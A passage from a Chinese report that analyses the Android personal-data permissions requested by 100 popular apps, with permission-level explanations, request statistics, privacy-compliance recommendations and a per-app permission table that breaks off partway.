的不同,声明带 来的影响也有所不同,如下: - 当运行 App 的安卓手机的操作系统版本 <=Android5.1,或 App 的目标 SDK (targetSdkVersion 值)<=22,如果 AndroidManifest.xml 文件中申请了危险权限,用 户需在安装 App 的时候“一揽子”授予权限;如果 用户不授予权限则无法安装 App; - 当运行 App 的安卓手机的操作系统版本 =>Android6.0,并且 App 的目标 SDK (targetSdkVersion 值)=>23,对于在 AndroidManifest.xml 文件中声明的每一个危险权 限,都必须在 App 运行时以弹窗等形式进行动态申 请,用户可以选择同意或者拒绝。 (3)签名级别(Signature) 签名级别(Signature):该类权限只对拥有相同签名的 应用开放,一旦某个 App 的 AndroidManifest.xml 文件中 的权限被定义为 Signature 级别,只有和该 App 使用相同 私钥签名的应用才可以申请该权限,如果签名一致,系统 会自动赋予权限,而不会通知用户或者征求用户的同意。 第 5 页 (4)系统/签名级别 (Signature or System) 系统/签名级别权限为 Android 的系统级权限。与签名 级别(Signature)权限类似,但它不仅要求签名相同,还要 求是同类的系统级应用,一般只有手机厂商开发的预置应 用(在/system/app 目录下的应用)才会用到该类权限。 此外,App 也可以自定义权限组和权限,方法和安卓系 统定义权限是一样的。App 安装时,自定义权限也可以在 AndroidManifest.xml 配置文件中进行声明。还有一些动态 权限是手机厂商、芯片厂商等自定义的,如国内部分手机 厂商将“读取应用程序列表”定义为动态权限,App 请求该 权限时用户可以选择同意或拒绝。 第 6 页 四、 收集使用个人信息相关权限 安卓系统权限的申请、调用分类等机制较为复杂,为 便于分析和横向比对的一致性,在分析研究百款 App 过程 中仅对安卓原生系统进行分析。 原生安卓系统是指 Google 公司发布,没有经过第三方 修改的安卓系统。通过对安卓官方网站公布的原生系统 Android 7、8、9 中的权限分析得出,与收集个人信息相关 权限主要为安卓系统“危险权限”,共计 26 个。具体见下 表: 第 7 页 表 5-2 原生安卓系统“与收集个人信息相关权限”简介 序号 权限 分组 权限名 功能描述 涉及个人信息 备注 1 CALEND AR 日历 READ_CALENDAR 读 取日历 允许 App 读取用户日 历数据 用户在日历中 录入的个人日 程安排等信息 如学习计划、旅 行日程、车票预 订、生日、会议 安排等 2 WRITE_CALENDAR 编 辑日历 允许 App 编辑用户日 历数据 3 CALL_L OG 通话 记录 READ_CALL_LOG 读 取通话记录 允许 App 读取用户的 通话记录 用户通话记录 如通话记录管 理、备份与恢 复,骚扰拦截、 呼出电话监控等 4 WRITE_CALL_LOG 编 辑通话记录 允许 App 写入用户的 通话记录 5 PROCESS_OUTGOING _CALLS 修改或查看 拨号 允许 App 查看正在拨 打的号码,或终止通 话 6 CAMERA 相机 CAMERA 拍摄 允许 App 使用摄像头 照片或视频信 息 如拍照、扫描二 维码、条形码; 录像、人脸识 别、智能识图等 7 CONTAC TS 通讯 录 READ_CONTACTS 读 取通讯录 允许 App 读取用户通 讯录 通讯录 通过通讯录添加 好友、通讯录备 份与恢复、获取 各类 App 注册在 手机中的账户等 8 WRITE_CONTACTS 编 辑通讯录 允许 App 写入用户通 讯录 9 GET_ACCOUNTS 获取 应用账户 允许 App 从账户服务 中获取应用账户列表 网络身份标识 10 LOCATI ON 位置 ACCESS_FINE_LOCA TION 访问精准定位 允许 App 获取基于 GPS 等的精准地理位 置 精准地理位置 信息 如地图导航、活 动轨迹、位置记 录与共享、查看 附近的服务、基 于位置的智能推 荐等 11 ACCESS_COARSE_LO CATION 访问粗略位 置 允许 App 获取基于基 站、IP 等粗略的地理 位置 粗略地理位置 信息 12 MICROP HONE 麦 克风 RECORD_AUDIO 录音 允许 App 使用麦克风 录音 录音内容 如录制音视频、 语音助手功能、 语音通话、聊 天、语音录入文 字、语音搜索等 13 PHONE 电话 READ_PHONE_STATE 读取电话状态(获 取设备 IMSI、IMEI 号) 授权应用可以获取设 备 IMSI(国际移动用 户识别码)、IMEI (国际移动设备识别 设备唯一标识 信息 进行用户常用设 备的标识,可用 户监测应用账户 第 8 页 序号 权限 分组 权限名 功能描述 涉及个人信息 备注 码)等设备唯一标识 信息。还可以通过此 权限,获取手机通话 状态,如来电、响铃 中、通话中等 异常登录、关联 用户行为 14 READ_PHONE_NUMBE RS 读取本机电话号 码 允许 App 读取用户的 本机电话号码 电话号码 15 CALL_PHONE 拨打电 话 允许 App 直接拨打电 话 实时通话行为 如在 App 内直接 拨打外卖、快 递、客服等电话 16 ANSWER_PHONE_CAL LS 接听电话 允许 App 接听拨打进 来的电话 如在用户驾驶模 式下直接接听来 电 17 ADD_VOICEMAIL 添 加语音邮件 允许 App 向系统中添 加语音邮件 语音邮件内容 18 USE_SIP 使用网络 电话 允许 App 拨打/接听网 络电话 实时网络通话 行为 如接听/拨打网 络电话 19 SENSOR S 传感 器 BODY_SENSORS 获取 身体传感器(心率 等)信息 允许 App 访问身体健 康相关的传感器数 据,比如心率传感器 数据。 个人健康生理 信息 如运动/健康类 App 显示心率等 健康状况 20 SMS 短 信 SEND_SMS 发送短信 允许 App 发送短信 短信内容 如短信管理、备 份与恢复、验证 码自动填写、短 信支付、垃圾短 信过滤、电话号 码等特征字提取 21 RECEIVE_SMS 接收 短信 允许 App 接收短信 22 READ_SMS 读取短信 允许 App 读取短信 23 RECEIVE_WAP_PUSH 接收 WAP 推送 允许 App 接收 WAP (无线应用协议)推 送信息 WAP 推送内容 24 RECEIVE_MMS 接收 彩信 允许 App 接收彩信 彩信内容 25 STORAG E 存储 READ_EXTERNAL_ST ORAGE 读取外置存 储器 允许 App 读取外置存 储器 存储的个人文 件 如存储拍摄的照 片和视频、下载 文件、打开本地 的上传文件等 26 WRITE_EXTERNAL_S TORAGE 写入外置存 储器 允许 App 写入外置存 储器 第 9 页 五、 百款 App 权限申请情况对比分析 基于“百款常用 App 申请收集使用个人信息权限列 表”,统计分析如下: 6.1 申请权限数量统计分析 百款 App 中申请与收集个人信息相关权限数量分布如 下: APP 申请与收集个人信息相关权限数量分布 申请权限数量范围 App 数 0<权限数<=5 2 5<权限数<=10 72 10<权限数<=15 19 15<权限数<=23 7 图 6-1 App 申请与收集个人信息相关权限数量分布图 2 72 19 7 App申请与收集个人信息相关权限数量分布 >0权限数<=5 >5权限数<=10 >10权限数<=15 >15权限数<=23 第 10 页 根据以上数据,绝大部分 App(74%)申请 10 个(含) 以下“与收集个人信息相关权限”即可满足需要。从“百 款常用 App 申请收集使用个人信息权限列表”中看出,作 为用户量超 8 亿的“支付宝”平台级应用,其申请“收集 个人信息相关权限”数为 10 个,处于“中等水平”,而功 能相当于单一的“WiFi 万能钥匙”、“百度网盘”、“汽 车之家”“铃声多多”等申请“与收集个人信息相关权 限”数大于 10 个。 6.2 申请权限占比统计分析 统计百款 App 申请与收集个人信息相关权限,从各权 限被申请的百分比角度统计如下: 申请与收集个人信息相关权限 APP 数量占比 权限组 权限 100 款占比 CALENDAR 日历 READ_CALENDAR 读取日历 24% WRITE_CALENDAR 编辑日历 25% CALL_LOG 通话记 录 READ_CALL_LOG 读取通话记录 9% WRITE_CALL_LOG 编辑通话记录 5% PROCESS_OUTGOING_CALLS 修改 或查看拨号 13% CAMERA 相机 CAMERA 拍摄 99% CONTACTS 通讯录 READ_CONTACTS 读取通讯录 70% WRITE_CONTACTS 编辑通讯录 16% GET_ACCOUNTS 获取应用账户 54% LOCATION 位置 ACCESS_FINE_LOCATION 访问精准 定位 96% ACCESS_COARSE_LOCATION 访问 粗略位置 96% MICROPHONE 麦克 风 RECORD_AUDIO 录音 90% 第 11 页 申请与收集个人信息相关权限 APP 数量占比 权限组 权限 100 款占比 PHONE 电话 READ_PHONE_STATE 读取电话状态 (获取设备 IMSI、IMEI 号) 100% READ_PHONE_NUMBERS 读取本机 电话号码 0% CALL_PHONE 拨打电话 34% ANSWER_PHONE_CALLS 接听电话 3% ADD_VOICEMAIL 添加语音邮件 0% USE_SIP 使用网络电话 1% SENSORS 传感器 BODY_SENSORS 获取身体传感器(心 率等)信息 4% SMS 短信 SEND_SMS 发送短信 17% RECEIVE_SMS 接收短信 17% READ_SMS 读取短信 16% RECEIVE_WAP_PUSH 接收 WAP 推 送 6% RECEIVE_MMS 接收彩信 5% STORAGE 存储 READ_EXTERNAL_STORAGE 读取 外置存储器 98% WRITE_EXTERNAL_STORAGE 写入 外置存储器 100% 以上分析可见,READ_PHONE_STATE 读取电话状态(获 取设备 IMSI、IMEI 号)、STORAGE 存储、LOCATION 位 置、CAMERA 相机、MICROPHONE 麦克风等权限被申请的百 分比大于 90%,READ_CONTACTS 读取通讯录申请百分比大于 70%,以上权限几乎成为 App 的标配。以上图表内容绘制统 计图如下: 第 12 页 图 6-2 申请与收集个人信息相关权限 App 数量分布图 6.3 “强制”申请权限数量统计分析 本文“强制”申请开启权限是指由测试人员在安卓 7 及以上版本手机对 App 进行测试,在 App 下载、安装、首 次打开 App、完成账号注册过程(如无注册功能则略过此过 程),向用户索要(包括弹窗等方式)的权限的情况。 通常,在用户还未开始使用 App 前就索要的权限,应 仅为支持 App 正常运行所必需的“必要”权限。有些 App 索要的权限远大于“必要”权限,也有些 App 提供相似服 务的 App 索要的权限大相径庭。此外,如果 App 的目标 SDK (targetSdkVersion 值)<23,则会导致用户在安装 App 的 时候必须"一揽子"同意默认打开所有与收集个人信息相关 权限,否则无法安装 App。事实上,App 可以通过设置 minSdkVersion 值来应对兼容旧版本安卓系统的问题,而不 是刻意调低 targetSdkVersion 值。 第 13 页 百款 App 中“强制”申请开启与收集个人信息相关权 限数量分布如下: “强制”申请开启与收集个人信息相关权限数 申请权限数量范围 App 数 0<权限数<=5 83 5<权限数<=10 9 10<权限数<=15 6 15<权限数<=19 2 图 6-3 App“强制”申请开启与收集个人信息相关权限数量分布图 根据以上数据,绝大部分 App(83%)“强制”申请开 启 5 个以下“与收集个人信息相关权限”。也有部分 App “强制”申请开启权限的数量为 0,如腾讯视频、百度贴 吧、知乎、中国银行等。 还有一部分 App 的目标 SDK(targetSdkVersion 值) <23,导致用户在安装 App 的时候必须“一揽子”同意默认 83 9 6 2 “强制”申请与收集个人信息相关权限数 >0权限数<=5 >5权限数<=10 >10权限数<=15 >15权限数<=19 第 14 页 打开所有与收集个人信息相关权限。如,WiFi 万能钥匙、 虎牙、平安普惠、QQ 同步助手等。 6.4 “强制”申请权限占比统计分析 统计 100 款 App 申请与收集个人信息相关权限,从各 权限被申请的百分比角度统计如下: APP“强制”申请开启与收集个人信息相关权限占比 权限组 权限 100 款占比 CALENDAR 日历 READ_CALENDAR 读取日历 3% WRITE_CALENDAR 编辑日历 3% CALL_LOG 通话记 录 READ_CALL_LOG 读取通话记录 3% WRITE_CALL_LOG 编辑通话记录 1% PROCESS_OUTGOING_CALLS 修改 或查看拨号 4% CAMERA 相机 CAMERA 拍摄 11% CONTACTS 通讯录 READ_CONTACTS 读取通讯录 9% WRITE_CONTACTS 编辑通讯录 5% GET_ACCOUNTS 获取应用账户 8% LOCATION 位置 ACCESS_FINE_LOCATION 访问精准 定位 27% ACCESS_COARSE_LOCATION 访问 粗略位置 27% MICROPHONE 麦克 风 RECORD_AUDIO 录音 10% PHONE 电话 READ_PHONE_STATE 读取电话状态 (获取设备 IMSI、IMEI 号) 46% READ_PHONE_NUMBERS 读取本机 电话号码 0% CALL_PHONE 拨打电话 18% ANSWER_PHONE_CALLS 接听电话 3% ADD_VOICEMAIL 添加语音邮件 0% USE_SIP 使用网络电话 0% SENSORS 传感器 BODY_SENSORS 获取身体传感器(心 率等)信息 2% SMS 短信 SEND_SMS 发送短信 6% RECEIVE_SMS 接收短信 3% READ_SMS 读取短信 5% 第 15 页 APP“强制”申请开启与收集个人信息相关权限占比 权限组 权限 100 款占比 RECEIVE_WAP_PUSH 接收 WAP 推 送 0% RECEIVE_MMS 接收彩信 1% STORAGE 存储 READ_EXTERNAL_STORAGE 读取 外置存储器 51% WRITE_EXTERNAL_STORAGE 写入 外置存储器 53% 以上分析可见,READ_PHONE_STATE 读取电话状态(获 取设备 IMSI、IMEI 号)、READ_EXTERNAL_STORAGE 读取外 置存储器、WRITE_EXTERNAL_STORAGE 写入外置存储器权限 “强制”申请开启的情形较多。以上图表内容绘制统计图 如下: 图 6-4“强制”申请开启与收集个人信息相关权限 App 数量分布图 第 16 页 六、 安卓系统权限使用建议 基于《网络安全法》等法律法规、国家标准《信息安 全技术 个人信息安全规范》,以及 App 专项治理工作组制 定的《App 违法违规收集使用个人信息自评估指南(2019 年 3 月 1 日版)》、《App 违法违规收集使用个人信息行为 认定方法(征求意见稿)》等有关要求,建议安卓 App 在 申请使用与收集个人信息相关系统权限时,参照以下原则 和内容: 1、明示目的,App 申请使用系统权限应具有合法、正 当、必要、明确的个人信息处理目的,并在申请使用时明 确告知,能让用户清晰了解权限是相应功能实现所需,对 于收集个人信息相关权限的告知宜采取更加显著、清晰的 告知方式,如弹窗等即时、同步提示的方式。 2、征得同意,App 在告知使用系统权限(尤其是可收 集个人敏感信息的危险权限)的目的后,应提供选项供用 户自行做出是否同意授权的判断,在用户同意后才可以产 生收集行为。征得同意的方法应合理、适时、正当。首次 打开 App 时,仅申请保证 App 基本功能正常运行所必需的权 限,在后续使用 App 功能时,根据业务功能需要逐步申请 所需权限。不应采用“一揽子打包”、“默认打开”、 “强制捆绑”、“私自更改”、“频繁打扰”等方式征得 第 17 页 同意。比如,在 App 安装时一次性申请多项或所有危险权 限的授权,并在打开 App 后权限均为默认开启状态(App 设 置的 targetSdkVersion 小于 23 时);比如,将申请打开 与某项业务功能无关的系统权限作为强制的前置条件;比 如,App 更新时将用户设置的系统权限进行更改或恢复到默 认状态等;比如特定功能所需权限被用户拒绝时,可不提 供该功能,但不得影响用户正常使用与该权限无关的功 能,除非该权限是保证 App 正常运行所必需。 3、最少够用,APP 应只申请实现业务功能所必需的系 统权限。选择系统权限时应选取能满足业务功能所需的 “最少够用”的权限,比如,使用“粗略地理位置”即可 达到业务目的,完成业务功能的,避免使用“精确地理位 置”;比如,使用危险权限组中其中一个或部分权限的, 虽然以权限组方式取得授权,但不使用与业务功能无关的 权限。此外,对于 App 嵌入的第三方代码、插件(如 SDK)、应用内程序(如小程序)等,可采取审核、限制等 措施确保其只申请业务功能所必需的权限。 4、规则清晰,App 对于权限使用的目的、方式和范围 有清晰界定,并予以公开。可在 App 的隐私政策等文件中 对权限的使用情况进行清晰的阐述,包括嵌入的第三方代 码、插件(如 SDK)、应用内程序(如小程序)等继承或使 第 18 页 用权限的方式,使用权限时选择何种数据处理方式(如终 端本地处理、App 远程服务器处理、或是传输至第三方处 理)。当规则的变更可能对个人权益产生影响时,应当及 时将更新的规则告知用户。 5、透明使用,App 使用权限的行为应与隐私政策等文 件描述内容一致。当 App 在获得权限的授权后,应在用户 使用 App 某业务功能过程中,采用合理的频率调用相关权 限函数,收集必要的个人信息。不应在用户使用与该权限 无关的业务功能时或 App 处于后台运行状态时调取权限相 关函数。因业务需要需持续以调用权限函数方式收集个人 信息时,宜采用显著提示(如图标闪烁、状态栏提示、自 定义提示条等)方式提醒用户。 第19页 附:百款常用 App 申请收集使用个人信息权限列表 序 号 类 别 App 名称与版本号 收集使用个人信息相关权限 CALE NDAR 日历 CALL_LOG 通话记 录 CAM ERA 相机 CONTACTS 通讯录 LOCATION 位置 MICRO PHONE 麦克风 PHONE 电话 SENS ORS 传感器 SMS 短信 STORAGE 存储 申请 收集 个人 信息 相关 权限 数 用户不 同意开 启,则 App 无法安 装或运 行的权 限数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 读 取 日 历 编 辑 日 历 读取 通话 记录 编辑 通话 记录 修改 或查 看拨 号 拍摄 读 取 通 讯 录 编 辑 通 讯 录 获取 应用 账户 访问 精准 定位 访问 粗略 位置 录音 读取电 话状态 (设备 IMSI/IM EI 号) 读取 本机 电话 号码 拨 打 电 话 接 听 电 话 添加 语音 邮件 使用 网络 电话 获取身 体传感 器(心 率等) 信息 发 送 短 信 接 收 短 信 读 取 短 信 接收 WAP 推送 接 收 彩 信 读取 外置 存储 器 写入 外置 存储 器 1 餐 饮 外 卖 百度糯米 8.5.0 √ √ √ √ √ √ √ √ √ 9 9 2 饿了么 8.15.1 √ √ √ √ √ √ √ √ 8 5 3 美团外卖 7.10.3 √ √ √ √ √ √ √ √ 8 5 4 地 图 导 航 百度地图 10.8.13 √ √ √ √ √ √ √ √ √ √ 10 2 5 高德地图 9.02.0.2168 √ √ √ √ √ √ √ √ 8 5 6 腾讯地图 8.5.5 √ √ √ √ √ √ √ 7 4 7 短 视 频 虎牙直播 6.12.5 √ √ √ √ √ √ √ √ √ √ √ 11 11 8 快手 6.3.3.8915 √ √ √ √ √ √ √ √ √ √ 10 0 9 抖音短视频 6.0.0 √ √ √ √ √ √ √ √ √ 9 0 10 火山小视频 6.0.0 √ √ √ √ √ √ √ √ √ 9 0 11 哔哩哔哩 5.40.0 √ √ √ √ √ √ √ √ √ 9 0 12 斗鱼直播 5.7.0 √ √ √ √ √ √ √ √ 8 3 13 西瓜视频 3.5.2 √ √ √ √ √ √ √ √ 8 0 14 金 融 借 贷 平安普惠 6.0.0 √ √ √ √ √ √ √ √ √ √ √ √ √ √ √ √ 16 16 15 平安金管家 5.03.0 √ √ √ √ √ √ √ √ √ √ √ √ √ √ √ 15 2 第20页 序 号 类 别 App 名称与版本号 收集使用个人信息相关权限 CALE NDAR 日历 CALL_LOG 通话记 录 CAM ERA 相机 CONTACTS 通讯录 LOCATION 位置 MICRO PHONE 麦克风 PHONE 电话 SENS ORS 传感器 SMS 短信 STORAGE 存储 申请 收集 个人 信息 相关 权限 数 用户不 同意开 启,则 App 无法安 装或运 行的权 限数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 读 取 日 历 编 辑 日 历 读取 通话 记录 编辑 通话 记录 修改 或查 看拨 号 拍摄 读 取 通 讯 录 编 辑 通 讯 录 获取 应用 账户 访问 精准 定位 访问 粗略 位置 录音 读取电 话状态 (设备 IMSI/IM EI 号) 读取 本机 电话 号码 拨 打 电 话 接 听 电 话 添加 语音 邮件 使用 网络 电话 获取身 体传感 器(心 率等) 信息 发 送 短 信 接 收 短 信 读 取 短 信 接收 WAP 推送 接 收 彩 信 读取 外置 存储 器 写入 外置 存储 器 16 工 具 软 件 360 手机卫士 8.1.0 √ √ √ √ √ √ √ √ √ √ √ √ √ √ √ √ √ √ √ √ √ √ √ 23 11 17 腾讯手机管家 7.14.0 √ √ √ √ √ √ √ √ √ √ √ √ √ √ √ √ √ √ √ √ √ √ 22 5 18 QQ 同步助手 6.9.11 √ √ √ √ √ √ √ √ √ √ √ √ √ √ √ √ √ √ √ 19 19 19 百度网盘 9.6.8 √ √ √ √ √ √ √ √ √ √ √ √ √ √ √ √ √ 17 3 20 WiFi 万能钥匙 4.3.59 √ √ √ √ √ √ √ √ √ √ √ √ √ 13 13 21 QQ 邮箱 5.6.2 √ √ √ √ √ √ √ √ √ √ √ 11 3 22 WiFi 管家 3.7.4 √ √ √ √ √ √ √ √ √ √ √ 11 0 23 WPS-office11.5.5 √ √ √ √ √ √ √ √ √ √ 10 2 24 迅雷 5.74.2.5990 √ √ √ √ √ √ √ √ 8 3 25 即 时 通 讯 钉钉 4.6.25 √ √ √ √ √ √ √ √ √ √ √ √ √ 13 2 26 微信 7.0.4 √ √ √ √ √ √ √ √ √ √ √ 11 2 27 QQ8.0.0 √ √ √ √ √ √ √ √ √ √ √ 11 1 28 MOMO 陌陌 8.17.3 √ √ √ √ √ √ √ √ √ 9 5 29 YY2.2.0 √ √ √ √ √ √ √ √ 8 8 第21页 序 号 类 别 收集使用个人信息相关权限 App 名称与版本号 CALE NDAR 日历 CALL_LOG 通话记 录 CAM ERA 相机 CONTACTS 通讯录 LOCATION 位置 MICRO PHONE 麦克风 PHONE 电话 SENS ORS 传感器 SMS 短信 STORAGE 存储 申请 收集 个人 信息 相关 权限 数 用户不 同意开 启,则 App 无法安 装或运 行的权 限数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 读 取 日 历 编 辑 日 历 读取 通话 记录 编辑 通话 记录 修改 或查 看拨 号 拍摄 读 取 通 讯 录 编 辑 通 讯 录 获取 应用 账户 访问 精准 定位 访问 粗略 位置 录音 读取电 话状态 (设备 IMSI/IM EI 号) 读取 本机 电话 号码 拨 打 电 话 接 听 电 话 添加 语音 邮件 使用 网络 电话 获取身 体传感 器(心 率等) 信息 发 送 短 信 接 收 短 信 读 取 短 信 接收 WAP 推送 接 收 彩 信 读取 外置 存储 器 写入 外置 存储 器 30 交 通 票 务 途牛旅游 10.6.0 √ √ √ √ √ √ √ √ √ √ √ √ √ 13 0 31 携程旅行 8.3.0 √ √ √ √ √ √ √ √ √ √ √ √ 12 0 32 去哪儿旅行 8.9.9 √ √ √ √ √ √ √ √ √ √ √ 11 0 33 同程旅游 9.1.4 √ √ √ √ √ √ √ √ √ √ 10 0 34 浏 览 器 QQ 浏览器 9.2.0.4900 √ √ √ √ √ √ √ √ √ √ 10 2 35 UC 浏览器 12.4.0.1020 √ √ √ √ √ √ √ 7 2 36 拍 照 美 化 美图秀秀 8.5.2.0 √ √ √ √ √ √ √ √ 8 3 37 美拍 8.1.5 √ √ √ √ √ √ √ √ 8 0 38 BeautyCam 美颜相 机 8.3.40 √ √ √ √ √ √ √ 7 0 39 天天 P 图 6.0.2.2602 √ √ √ √ √ √ √ 7 0 40 社 区 社 交 百度贴吧 10.1.8.1 √ √ √ √ √ √ √ √ √ √ √ √ 12 0 41 知乎 5.42.0 √ √ √ √ √ √ √ √ 8 0 42 QQ 空间 8.2.7.288 √ √ √ √ √ √ √ 7 0 43 输 入 法 搜狗输入法 8.3 √ √ √ √ √ √ √ √ √ √ √ 11 0 44 讯飞输入法 8.1.8872 √ √ √ √ √ √ √ √ 8 0 45 百度输入法 8.5.3.10 √ √ √ √ √ √ √ √ 8 0 第22页 序 号 类 别 App 名称与版本号 收集使用个人信息相关权限 CALE NDAR 日历 CALL_LOG 通话记 录 CAM ERA 相机 CONTACTS 通讯录 LOCATION 位置 MICRO PHONE 麦克风 PHONE 电话 SENS ORS 传感器 SMS 短信 STORAGE 存储 申请 收集 个人 信息 相关 权限 数 用户不 同意开 启,则 App 无法安 装或运 行的权 限数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 读 取 日 历 编 辑 日 历 读取 通话 记录 编辑 通话 记录 修改 或查 看拨 号 拍摄 读 取 通 讯 录 编 辑 通 讯 录 获取 应用 账户 访问 精准 定位 访问 粗略 位置 录音 读取电 话状态 (设备 IMSI/I MEI 号) 读取 本机 电话 号码 拨 打 电 话 接 听 电 话 添加 语音 邮件 使用 网络 电话 获取身 体传感 器(心 率等) 信息 发 送 短 信 接 收 短 信 读 取 短 信 接收 WAP 推送 接 收 彩 信 读取 外置 存储 器 写入 外置 存储 器 46 网 络 支 付 中国建设银行 4.1.5 √ √ √ √ √ √ √ √ √ √ √ √ √ 13 6 47 中国工商银行 4.1.0.4.0 √ √ √ √ √ √ √ √ √ √ √ √ √ 13 6 48 支付宝 10.1.60.8966 √ √ √ √ √ √ √ √ √ √ 10 2 49 翼支付 8.5.0 √ √ √ √ √ √ √ √ √ 9 5 50 中国银行 5.3.4 √ √ √ √ √ √ √ √ √ 9 0 51 网 上 购 物 京东 7.5.2 √ √ √ √ √ √ √ √ √ √ √ 11 2 52 淘宝 8.6.10 √ √ √ √ √ √ √ √ √ √ 10 1 53 天猫 8.7.0 √ √ √ √ √ √ √ √ √ √ 10 1 54 闲鱼 6.4.10 √ √ √ √ √ √ √ √ √ 9 0 55 小红书 5.49.1 √ √ √ √ √ √ √ √ √ 9 0 56 趣店 3.3.5 √ √ √ √ √ √ √ √ 8 8 57 拼多多 4.53.0 √ √ √ √ √ √ √ √ 8 1 58 唯品会 6.41.3 √ √ √ √ √ √ √ √ 8 1 59 苏宁易购 7.5.8 √ √ √ √ √ √ √ √ 8 1 60 华为商城 1.7.4.1 √ √ √ √ √ √ √ √ 8 0 第23页 序 号 类 别 App 名称与版本号 收集使用个人信息相关权限 CALE NDAR 日历 CALL_LOG 通话记 录 CAM ERA 相机 CONTACTS 通讯录 LOCATION 位置 MICRO PHONE 麦克风 PHONE 电话 SENS ORS 传感器 SMS 短信 STORAGE 存储 申请 收集 个人 信息 相关 权限 数 用户不 同意开 启,则 App 无法安 装或运 行的权 限数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 读 取 日 历 编 辑 日 历 读取 通话 记录 编辑 通话 记录 修改 或查 看拨 号 拍摄 读 取 通 讯 录 编 辑 通 讯 录 获取 应用 账户 访问 精准 定位 访问 粗略 位置 录音 读取电 话状态 (设备 IMSI/I MEI 号) 读取 本机 电话 号码 拨 打 电 话 接 听 电 话 添加 语音 邮件 使用 网络 电话 获取身 体传感 器(心 率等) 信息 发 送 短 信 接 收 短 信 读 取 短 信 接收 WAP 推送 接 收 彩 信 读取 外置 存储 器 写入 外置 存储 器 61 新 闻 资 讯 新浪微博 9.4.3 √ √ √ √ √ √ √ √ √ √ √ √ 12 3 62 天天快报 5.0.40 √ √ √ √ √ √ √ √ √ √ √ 11 0 63 凤凰新闻 6.3.9 √ √ √ √ √ √ √ √ √ √ √ 11 0 64 百度 11.7.0.10 √ √ √ √ √ √ √ √ √ 9 2 65 今日头条 7.2.2 √ √ √ √ √ √ √ √ √ 9 0 66 腾讯新闻 5.7.90 √ √ √ √ √ √ √ √ 8 0 67 搜狐新闻 6.2.2 √ √ √ √ √ √ √ √ 8 0 68 网易新闻 54.6 √ √ √ √ √ √ √ 7 0 69 学 习 教 育 作业帮 11.9.0 √ √ √ √ √ √ √ √ √ √ √ √ 12 4 70 小猿搜题 8.12.0 √ √ √ √ √ √ 6 0 71 网 络 游 戏 王者荣耀 1.44.1.5 √ √ √ √ √ √ √ √ √ √ √ √ 12 12 72 绝地求生-刺激战 场 0.14.5 √ √ √ √ √ √ 6 6 73 开心消消乐 1.66 √ √ √ √ √ √ √ √ √ √ 10 10 第24页 序 号 类 别 App 名称与版本号 收集使用个人信息相关权限 CALE NDAR 日历 CALL_LOG 通话记 录 CAM ERA 相机 CONTACTS 通讯录 LOCATION 位置 MICRO PHONE 麦克风 PHONE 电话 SENS ORS 传感器 SMS 短信 STORAGE 存储 申请 收集 个人 信息 相关 权限 数 用户不 同意开 启,则 App 无法安 装或运 行的权 限数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 读 取 日 历 编 辑 日 历 读取 通话 记录 编辑 通话 记录 修改 或查 看拨 号 拍摄 读 取 通 讯 录 编 辑 通 讯 录 获取 应用 账户 访问 精准 定位 访问 粗略 位置 录音 读取电 话状态 (设备 IMSI/I MEI 号) 读取 本机 电话 号码 拨 打 电 话 接 听 电 话 添加 语音 邮件 使用 网络 电话 获取身 体传感 器(心 率等) 信息 发 送 短 信 接 收 短 信 读 取 短 信 接收 WAP 推送 接 收 彩 信 读取 外置 存储 器 写入 外置 存储 器 74 影 音 娱 乐 乐视视频 8.11 √ √ √ √ √ √ √ √ √ √ √ √ 12 6 75 爱奇艺 10.4.0 √ √ √ √ √ √ √ √ √ √ √ 11 0 76 搜狐视频 7.2.1 √ √ √ √ √ √ √ √ √ √ √ 11 0 77 酷狗音乐 9.2.0 √ √ √ √ √ √ √ √ √ √ 10 2 78 优酷视频 7.6.17 √ √ √ √ √ √ √ √ √ √ 10 0 79 QQ 音乐 8.9.9.10 √ √ √ √ √ √ √ √ √ 9 3 80 喜马拉雅 6.5.72.3 √ √ √ √ √ √ √ √ √ 9 0 81 pp 视频 7.7.0 √ √ √ √ √ √ √ √ 8 6 82 酷我音乐 9.2.0.2 √ √ √ √ √ √ √ √ 8 3 83 全民 K 歌 6.2.5.278 √ √ √ √ √ √ √ √ 8 3 84 网易云音乐 6.1.1 √ √ √ √ √ √ √ √ 8 3 85 唱吧 9.0.1 √ √ √ √ √ √ √ √ 8 2 86 腾讯视频 6.9.5.18490 √ √ √ √ √ √ √ 7 0 87 芒果 TV6.3.2 √ √ √ √ √ √ √ 7 0 第25页 序 号 类 别 App 名称与版本号 收集使用个人信息相关权限 CALE NDAR 日历 CALL_LOG 通话记 录 CAM ERA 相机 CONTACTS 通讯录 LOCATION 位置 MICRO PHONE 麦克风 PHONE 电话 SENS ORS 传感器 SMS 短信 STORAGE 存储 申请 收集 个人 信息 相关 权限 数 用户不 同意开 启,则 App 无法安 装或运 行的权 限数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 读 取 日 历 编 辑 日 历 读取 通话 记录 编辑 通话 记录 修改 或查 看拨 号 拍摄 读 取 通 讯 录 编 辑 通 讯 录 获取 应用 账户 访问 精准 定位 访问 粗略 位置 录音 读取电 话状态 (设备 IMSI/I MEI 号) 读取 本机 电话 号码 拨 打 电 话 接 听 电 话 添加 语音 邮件 使用 网络 电话 获取身 体传感 器(心 率等) 信息 发 送 短 信 接 收 短 信 读 取 短 信 接收 WAP 推送 接 收 彩 信 读取 外置 存储 器 写入 外置 存储 器 88 其 他 联通手机营业厅 6.1 √ √ √ √ √ √ √ √ √ √ √ √ √ √ √ √ √ √ 18 0 89 中国移动 5.3.0 √ √ √ √ √ √ √ √ √ √ √ √ √ √ √ √ √ 17 2 90 铃声多多 8.7.47.0 √ √ √ √ √ √ √ √ √ √ √ √ √ √ 14 14 91 汽车之家 9.10.5 √ √ √ √ √ √ √ √ √ √ √ √ √ √ 14 14 92 美团 9.14.601 √ √ √ √ √ √ √ √ √ √ √ 11 2 93 大众点评 10.11.12 √ √ √ √ √ √ √ √ √ √ 10 0 94 58 同城 8.19.5 √ √ √ √ √ √ √ √ √ 9 